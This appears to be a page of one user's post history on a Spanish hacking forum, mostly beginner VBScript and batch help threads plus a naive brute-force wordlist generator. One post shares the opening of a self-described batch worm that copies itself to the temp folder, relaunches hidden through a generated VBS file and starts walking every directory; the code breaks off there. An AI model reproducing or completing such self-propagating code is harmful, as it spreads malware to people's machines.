últimos mensajes de: **Aincrad**

Mostrar Mensajes
Páginas: 1 ... 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 [71] 72

701

Programación / Scripting / Re: ayuda en html.

en: 7 Julio 2017, 13:39 pm

********** primero que todo gracias ELEKTRO me ayudaste una vez mas++++

:laugh:

Cita de: Eleкtro en 7 Julio 2017, 06:55 am

PD: Por curiosidad, ¿cómo te dió por concluir que eso era Html?.

Saludos!

-------- Yo se que eso no es html eso es vbs. (visual basic script) es que
yo no publique el codigo completo solo publique la parte que
me deba error.

MIRA AQUI EL CODE COMPLETO LO GUARDAS EN extensión .HTA .

Código

<html>
<head>
<title>R4MP VIDEO PLEYER BY S4L de el ( I.P.C. )</title>
<img src="app\bin\ipc.png" alt="W3Schools.com" width="50" height="50">
Try it Yourself »
<script language="VBScript">
self.ResizeTo 480, 320
</script>
<html>
<body>
<a href="https://www.google.co.ve/url?sa=t&rct=j&q=&esrc=s&source=web&cd=1&cad=rja&uact=8&ved=0ahUKEwiHiILAiPbUAhVBCpoKHYivDn0QFgglMAA&url=https%3A%2F%2Fwww.youtube.com%2Fchannel%2FUC5nv9joqfuV7VGWkKuEmMPQ&usg=AFQjCNE2u8BDHJXgq4OYIMXcGP90q3O2-Q">Visita mi canal de youtube!<br /></a>
<button type="button" onclick="alert('Hecho Por Salvador F. Krilewski!')">INFO!</button>
<<video poster="URL">
</body>
</html>
<script type="text/vbscript"> 
Sub pcontrol()
set objShell = CreateObject("WScript.Shell")
   strAnswer = InputBox("introduzca el nombre del video con extensión (.mp4) :")
   Msgbox strAnswer
Set objfso = createobject("scripting.filesystemobject")
Set archivotexto = objfso.createtextfile("app\bin\pl.bat",true)
archivotexto.writeline "@echo off"	
archivotexto.writeline "Start /B """" ""chrome.exe"" " & """" & strAnswer & """"
archivotexto.writeline "exit"
archivotexto.close
End Sub
 
</script>
 
<style>
body {background-color:black;}
</style>	 
 
</head>
<body> 
<div align="center">
<br><br>
<input type="button" value="Reproducir video" onclick="strAnswer">
<input type="button" value="Reproducir video" onclick="pcontrol()">
<br><br><br>
<input type="button" value="CERRAR" onClick="self.close()">
 
</body>
</html>

***************** PD: el codigo esta en desarrollo apenas lo empece.

702

Programación / Scripting / Re: ayuda en html.

en: 7 Julio 2017, 05:33 am

angel lex la verdad es que nesecito que funcione este code
en la variable set strAnswer va bien hasta el msgbox, pero a la hora de crear
el batch no lo hace ayuda.

Código

set objShell = CreateObject("WScript.Shell")
strAnswer = InputBox("introduzca el nombre del video con extensión (.mp4) :")
   Msgbox strAnswer
Set objfso = createobject("scripting.filesystemobject")
Set archivotexto = objfso.createtextfile("pl.bat",true)	
archivotexto.writeline "@echo off"
archivotexto.writeline "start chrome.exe mmo.mp4"
archivotexto.writeline "strAnswer"
archivotexto.close

el error esta el la penultima linea. **********archivotexto.writeline "strAnswer"

703	Programación / Scripting / ayuda en VBS.	en: 7 Julio 2017, 04:59 am
***********hola a todos me preguntaba si en ~~html~~ VBS hay algún comando que tenga la misma función que tiene la palabra set de batch... ayuda plis.

704	Programación / Scripting / Re: archivo vbs para buscar en google?	en: 7 Julio 2017, 01:53 am
Cita de: engel lex en 7 Julio 2017, 01:37 am no es "ayuda con otro code" es que veas por qué no funciona y lo corrijas... el error seguramente es tuyo no del código... gracias por el consejo pero el error no era mio. era el code. bueno entonces me puse a experimentar un poco y alfinal lo he logrado. aqui el code. Código set WshShell=WScript.CreateObject("WScript.Shell") WShShell.run "chrome.exe www.facebook.com" ***** ahora el problema es el directorio del navegador, ya que solo este vbscrip funciona solo en el directorio raiz del navegador.

705	Programación / Scripting / Re: archivo vbs para buscar en google?	en: 7 Julio 2017, 01:20 am
gracias, pero desafortunadamente no me sirve no abre el navegador. revise la ruta del ejecutable .exe y esta bien pero aun asi no me abre el navegador y el vbs no lanza ningun error. ayuda con otro code porfa....

706	Programación / Scripting / archivo vbs para buscar en google?	en: 7 Julio 2017, 00:48 am
****************************************************************** hola, necesito el code de un vbs para abrir un navegador en especifico en una determinada pagina web. **************************************************************** AYUDAAAAA

707

Seguridad Informática / Análisis y Diseño de Malware / ayuda con el code de mi nuevo gusano en batch

en: 18 Junio 2017, 20:41 pm

$:-\$ el code me da error a veces y a veces funciona, y no se por que
porfavor ayudenme: :-(

code de mi gusano:

Código

@echo off
set a=%~nx0
set b=%a: =_%
Cd %temp%
copy /y "%~0" "%b%" 1>nul 2>&1
if "%1"=="x" (GoTo:code) else (
call:a>vbs.vbs
start vbs.vbs&exit /b
)
:a
echo SET a=CreateObject^("WScript.Shell"^)
echo a.Run "%b% x",vbHide
GoTo:EoF
:code
cd %HomeDrive%\
for /f "tokens=*" %%x in ('dir /b /s /a:D %HomeDrive%\') do (

708

Informática / Software / Reproductor mp3 hecho en batch

en: 13 Junio 2017, 05:45 am

hola a todos me puse a analizar un VBS que reproduce mp3
y me vino la idea de hacer un reproductor mp3 en batch en base a ese vbs
y queria que me dieran su opinion de como me quedo ::)

aqui dejo el link de mi aplicacion:

http://www.mediafire.com/file/572ay1exqkq43dl/R3MP.exe

y ya que Elektro me dijo que dejara el code de las aplicaciones
aqui les deco el code:

Código

@echo off
:menu
color a
title Reproductor MP3 By S4L.       (R3MP)
echo/
echo/
echo/
echo                             Para: Foro el hacker.net
echo/
echo/
echo/
echo                  Reproductor .mp3 simple en batch
echo/
echo/
echo                                hecho por: fisica 638
echo/
echo                                          ATT: By S4L
echo/
echo/
echo/
echo/
echo/
set /p uni= * Ingrese el nombre de la musica con la terminacion (.mp3) :
set "var=%palabra%"
set "resultado=%resultado:do while Sound.currentmedia.duration ^= 0 %"
echo Set Sound = CreateObject("WMPlayer.OCX.7")>reproductor.vbs
echo Sound.URL = "%uni%">>reproductor.vbs
echo Sound.Controls.play>>reproductor.vbs
echo %resultado%>>reproductor.vbs
echo wscript.sleep 100>>reproductor.vbs
echo loop>>reproductor.vbs
echo wscript.sleep (int(Sound.currentmedia.duration)+1)*1000>>reproductor.vbs
echo/
echo/
echo/
echo CARGANDO FICHERO.  (POR FAVOR ESPERE).
Ping localhost -n 2 >nul
start reproductor.vbs
echo Presione enter si desea quitar la musica.
pause>nul
taskkill /IM cscript.exe /F 
taskkill /IM wscript.exe /F 
Ping localhost -n 2 >nul
del reproductor.vbs
exit

709

Informática / Software / Re: El mejor Generador de diccionarios para Fuerza Bruta (BruteForce Attack)

en: 13 Junio 2017, 03:45 am

Hola Elektro en cuanto la pagina de virus total se equiboca sube un pdf
y veras.

y sobre el codigo del programa aqui esta:

Código

@echo off
title BruteForce Attack by S4L
REM Coded by :: Salsoft ::
color 0a
 
setlocal enabledelayedexpansion
:ini
if exist dic.txt del /f /q dic.txt
cls
echo/
echo/
echo                                   BY: Salvador f krilewski. (S4L)
echo/
echo                                       para:foro el hacker. (venge91)
echo/ 
echo/
set /p long="Longitud de Pass >:"
if not defined long goto ini
echo  Generando...       
echo/
echo este proseso puede tardar mucho ya que se generaran aproximado 
echo de 100.000.000 palabras
echo/
echo  Por favor Espere.               si quiere abra el txt llamado dic.
set c=0
 
:main
for %%a in (a,b,c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u,v,w,x,y,z) do (
for %%b in (a,b,c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u,v,w,x,y,z) do (
for %%c in (a,b,c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u,v,w,x,y,z) do (
for %%d in (a,b,c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u,v,w,x,y,z) do (
for %%e in (a,b,c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u,v,w,x,y,z) do (
for %%f in (a,b,c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u,v,w,x,y,z) do (
for %%g in (a,b,c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u,v,w,x,y,z) do (
for %%h in (a,b,c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u,v,w,x,y,z) do (
for %%i in (a,b,c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u,v,w,x,y,z) do (
for %%j in (a,b,c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u,v,w,x,y,z) do (
for %%k in (a,b,c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u,v,w,x,y,z) do (
for %%l in (a,b,c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u,v,w,x,y,z) do (
for %%m in (a,b,c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u,v,w,x,y,z) do (
for %%n in (a,b,c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u,v,w,x,y,z) do (
for %%o in (a,b,c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u,v,w,x,y,z) do (
for %%p in (a,b,c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u,v,w,x,y,z) do (
for %%q in (a,b,c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u,v,w,x,y,z) do (
for %%r in (a,b,c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u,v,w,x,y,z) do (
for %%s in (a,b,c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u,v,w,x,y,z) do (
for %%t in (a,b,c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u,v,w,x,y,z) do (
for %%u in (a,b,c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u,v,w,x,y,z) do (
for %%v in (a,b,c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u,v,w,x,y,z) do (
for %%w in (a,b,c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u,v,w,x,y,z) do (
for %%x in (a,b,c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u,v,w,x,y,z) do (
for %%y in (a,b,c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u,v,w,x,y,z) do (
for %%z in (a,b,c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u,v,w,x,y,z) do (
call :comp %%a%%b%%c%%d%%e%%f%%g%%h%%i%%j%%k%%l%%m%%n%%o%%p%%q%%r%%s%%t%%u%%v%%w%%x%%y%%z
)
set c=1
)
set c=2
)
set c=3
)
set c=4
)
set c=5
)
set c=6
)
set c=7
)
set c=8
)
set c=9
)
set c=10
)
set c=11
)
set c=12
)
set c=13
)
set c=14
)
set c=15
)
set c=16
)
set c=17
)
set c=18
)
set c=19
)
set c=20
)
set c=21
)
set c=22
)
set c=23
)
set c=24
)
set c=25
)
goto :fin
 
:comp
set word=%*
set dic=!word:~-%long%!
echo %dic% >>dic.txt
if %c%==%long% goto :fin
goto :eof
 
:fin
echo  Finalizado...OK.
pause
exit

POST DATA: Saludos Elektro.

ATT: S4L.

710	Informática / Software / Re: Programa que genera diccionario de Fuerza Bruta (BruteForce Attack)	en: 12 Junio 2017, 22:07 pm
Cita de: NEBIRE en 11 Junio 2017, 18:30 pm - Malo, porque: De entrada le pido para 4 letras, y dice tiene que generar mas de 100 millones de combinaciones, cuando en realidad solo son: 456.976 - Lento, porque: Luego de esperar 1 minuto, decido cerrarlo y es entonces cuando aparece el 'dic.txt' y solo va por "besx", pués entonces cuando llegue a "zzzz", será dentro de aprox. 25 minutos, ridículo... - Inútil, porque ya lo he explicado hasta la saciedad... generar diccionarios 'globales' de fuerza bruta es absurdo. A lo sumo interesaría crear dicionarios muy específicos,y restringidos. https://foro.elhacker.net/abril_negro/abril_negro_spok_simple_production_of_keys-t468239.0.html Si uno quiere usar fuerza bruta, se hace necesario generar in situ las claves, o a lo sumo un array de claves, que tras usar se puede reclamar generar otro array. Pero NUNCA arrastrar la casa como el caracol... un fichero de chorrocientos Gb. si la clave es larga... Para diccionarios pequeños también es inútil, salvo que uno quiera verificar que el diccionario se va generando correctamente, o revisar el tiempo que tarda en generarse. - Inseguro, porque: virustotal da 4 alertas de virus para el mismo. https://www.virustotal.com/es/file/3d69e0706283ce9623059a65c3214fda9fc0b15ed76aa13a2796d977ce2e6380/analysis/1497197618/ Puede que sea un falso positivo, pero... da un 38% de posibilidades de que se haya usado "Yoda's Crypter"... *******nebire, recuerda que solo subo esto para ayadar a alguna persona que le sirva, hago lo mismo que hacen los demas solo ayudo. **************** recuerda que ++++++foro el hacker.net++++++ sirve mas que todo para devatir y ayudar a resorver problemas de las personas. post data : en vez de criticar, deberias publicar algo mejor a lo que puse, eso deberias hacer. · No se debe escribir en mayúsculas >aquí las reglas del foro -Engel Lex

Páginas: 1 ... 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 [71] 72